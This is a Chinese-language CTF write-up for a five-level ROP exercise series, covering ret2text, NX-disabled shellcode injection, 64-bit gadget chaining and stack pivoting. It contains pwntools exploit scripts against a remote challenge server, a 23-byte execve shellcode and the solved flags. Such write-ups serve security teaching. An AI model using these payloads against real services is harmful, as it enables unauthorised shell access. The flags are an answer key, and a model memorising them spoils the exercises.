ROP系列
持续更新——
rop_lev1
flag:flag{w41@1c0m4_t0_R0pp}
本题我们来练习最基本的栈溢出利用。pwn类型题目的最终目的都是促使目标机器执行shell程序,典型地,如执行system(“/bin/sh”)和execve(“/bin/sh”,0,0)。本题在程序段已内置了一个callsystem()函数,该函数会执行system(“/bin/sh”),故你需要通过栈溢出引导程序执行callsystem()函数从而拿到shell,再通过cat flag命令得到flag
最最最开始,搞了好久,不太懂怎么搞,看了一堆pwntools的相关应用啥的,然而,然而就像提示说的那样,其实很简单,
只需要引导程序进入callsystem()函数即可
:
![[]](/2018/11/06/2018rop/2.png)
- 脚本:
1 | from pwn import * |
![[]](/2018/11/06/2018rop/1.png)
rop_lev2
flag:flag{n0_NX_s1-1el1C0de}
本题我们来练习shellcode使用。这次我们不像level1那样提供现成的函数,故你无法通过将返回地址修改为程序段中现成的函数拿到shell。但是本题没有开启“栈不可执行(NX)”,同时程序还提供了buf字符串在栈中的首地址(仔细观察一下,每次运行这个地址都不同)。你需要合理布置shellcode并劫持进程到shellcode首地址执行
NX = NoExecute
一种硬件执行数据保护技术, 通过将内存地址标识为’不可执行’, 防止恶意代码及病毒运行。此题关闭了栈不可执行,
shellcode
生成器shellcraft
生成相应架构、系统的shellcode,buffer
地址通过write
的泄露读进。脚本参考wyx学姐ppt:
1 | from pwn import * |
![[]](/2018/11/06/2018rop/3.png)
![[]](/2018/11/06/2018rop/4.png)
![[]](/2018/11/06/2018rop/5.png)
![[]](/2018/11/06/2018rop/6.png)
rop_lev3
flag:flag{rrEt_t2o_t3xt_xB6}
本题我们来练习x86下ret2text利用方法。这次并不像level1提供callsystem()函数,也开启了NX。但是程序段中仍然可以获得system()函数和”/bin/sh”字符串的地址。你需要合理布置payload,尤其是要注意作为参数的”/bin/sh”字符串地址的布置
找到
/bin/sh
字符串的位置0x804A024
,通过.plt
得到system
函数的地址,按照栈结构组织payload
。脚本:
1 | from pwn import * |
![[]](/2018/11/06/2018rop/7.png)
rop_lev4
flag:flag{9a%dg3t_1s_uss4@b1e}
64位elf,
amdx86-64
。题面讲解:
本题我们来练习x64下ret2text利用方法。程序除了变成64位以外与level3没有任何变化。64位程序在函数传参方式上与32位有所不同,前六个参数从左到右分别通过rdi,rsi,rdx,rcx,r8,r9六个寄存器来传参,超过六个参数的部分才像32位程序一样通过栈来传参。对此,我们需要在程序中寻找诸如“pop rdi; ret”这样的代码片段(gadget),先引导程序执行代码片段,将输入在栈中的参数弹到寄存器中,再引导程序执行system()函数。推荐工具:ROPgadget
于是用了
ROPgadget
工具:如图使用。
写脚本,找到
/bin/sh
的地址,找到应执行的pop rdi;ret
的地址,通过.plt
得到system
函数的地址。构造
payload
,执行pop rdi
,所以下面放/bin/sh
地址,将其pop
进rdi
寄存器中,此步为了传参, 然后执行system
函数:1
2
3
4
5
6
7
8
9
10
11
12
13from pwn import *
r = remote('202.197.58.168','20004')
level4 = ELF('rop_lev4')
sys_addr = level4.plt['system']
pop_addr = 0x4006B3
bin_addr = 0x600A90
payload = 'a'*0x88+p64(pop_addr)+p64(bin_addr)+p64(sys_addr)
r.send(payload)
r.interactive()
rop_lev5
flag:flag{Sttacck_plv0ttin9_rrOp}
题面:
本题我们来练习“栈枢纽(Stack Pivoting)”技术。这题重新回到了像level2一样,关闭NX同时不给system()和”/bin/sh”地址,需要通过shellcode拿到shell的情形。但不同的是,这题并没有提供栈上buf的地址,你无法知道shellcode的首地址在何处,一种解决方案是使用“jmp esp”这个gadget,具体请参考《0day安全:软件漏洞分析技术(第2版)》3.2.1节内容,尤其是弄懂图3.2.3。然而书中的这个方法在本题并不完全适用,因为输入的payload长度有限制。你需要想办法抬高esp,巧用“jmp esp”方法绕过此限制。另外,pwntool里内置的shellcode长度过长,建议从网上找一个只有20多字节的shellcode
32elf。
checksec
命令检测elf运行于哪个平台,开启了什么安全措施,如果用gcc的编译后,默认会开启所有的安全措施。【1】RELRO:RELRO会有Partial RELRO和FULL RELRO,如果开启FULL RELRO,意味着我们无法修改got表
【2】Stack:如果栈中开启Canary found,那么就不能用直接用溢出的方法覆盖栈中返回地址,而且要通过改写指针与局部变量、leak canary、overwrite canary的方法来绕过
【3】NX:NX enabled如果这个保护开启就是意味着栈中数据没有执行权限,以前的经常用的call esp或者jmp esp的方法就不能使用,但是可以利用rop这种方法绕过。本题关闭了栈不可执行。
【4】PIE:PIE enabled如果程序开启这个地址随机化选项就意味着程序每次运行的时候地址都会变化,而如果没有开PIE的话那么No PIE (0x400000),括号内的数据就是程序的基地址
【5】FORTIFY:FORTIFY_SOURCE机制对格式化字符串有两个限制(1)包含%n的格式化字符串不能位于程序内存中的可写地址。(2)当使用位置参数时,必须使用范围内的所有参数。所以如果要使用%7$x,你必须同时使用1,2,3,4,5和6。ROPgadget
查找jmp esp
命令:jmp esp
方法是通过构造形如任意填充字符
+jmp esp指令地址(覆盖返回地址)
+shellcode
的payload
来进行权限的获取,因为执行返回地址后,esp
指向返回地址下一个字节。但是这个题因为输入字符长度限制,需要抬高
esp
。(这个地方懵了一段时间)。找到:
然后组织
payload
,0x24
处返回地址抬高esp
,正好抬至输入字符串开始的位置,然后填充4个字符(pop ebp
),返回地址jmp esp
,即执行栈中下面的指令即shellcode
(从网上找到长度为23的shellcode)。写脚本:
1
2
3
4
5
6
7
8
9
10
11
12from pwn import *
r = remote('202.197.58.168','20005')
shellcode = '\x31\xc9\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc0\xb0\x0b\xcd\x80'
sub_esp_addr = 0x08048500
jmp_esp_addr = 0x08048504
payload = 'a'*4+p32(jmp_esp_addr)+shellcode+'a'*5+p32(sub_esp_addr)
r.send(payload)
r.interactive()